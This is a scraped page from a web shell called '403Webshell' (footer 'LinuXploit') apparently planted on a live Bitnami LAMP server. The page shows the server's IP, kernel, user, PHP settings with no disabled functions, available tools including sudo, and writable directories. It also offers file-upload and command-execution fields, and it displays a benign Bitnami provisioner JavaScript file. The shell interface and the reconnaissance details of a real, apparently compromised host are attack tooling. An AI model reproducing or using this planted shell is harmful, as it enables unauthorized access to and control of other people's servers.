403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/nami/node_modules/provisioner/lib/cloud/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/nami/node_modules/provisioner/lib/cloud/virtual_machine.js
"use strict";
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
    return new (P || (P = Promise))(function (resolve, reject) {
        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
        function step(result) { result.done ? resolve(result.value) : new P(function (resolve) { resolve(result.value); }).then(fulfilled, rejected); }
        step((generator = generator.apply(thisArg, _arguments || [])).next());
    });
};
Object.defineProperty(exports, "__esModule", { value: true });
const base_1 = require("./base");
const nami_wrapper_1 = require("../nami_wrapper");
/**
* Logic specific to be run inside a virtual machine outside of public clouds
 */
class VirtualMachineCloud extends base_1.BaseCloud {
    constructor(options) {
        super(options);
        this.cloudTags = this.cloudTags.concat([
            "prebuilt-image",
            "virtual-machine",
            "hypervisor",
            "system-services"
        ]);
    }
    /**
     * No public (myip) IP in VMs
     */
    _getPublicIP() {
        return this._getPrivateIP();
    }
    /**
     * For VMs, support a /bitnami/.vmsettings file that can be created at build time or created
     * before provisioner is run
     */
    _getUserDataNow(key) {
        return __awaiter(this, void 0, void 0, function* () {
            if (nami_wrapper_1.file.exists("/bitnami/.vmsettings")) {
                const userDataScript = nami_wrapper_1.file.read("/bitnami/.vmsettings");
                return this._getParameterFromUserData(userDataScript, key);
            }
            else {
                return undefined;
            }
        });
    }
}
exports.VirtualMachineCloud = VirtualMachineCloud;
;

Youez - 2016 - github.com/yon3zu
LinuXploit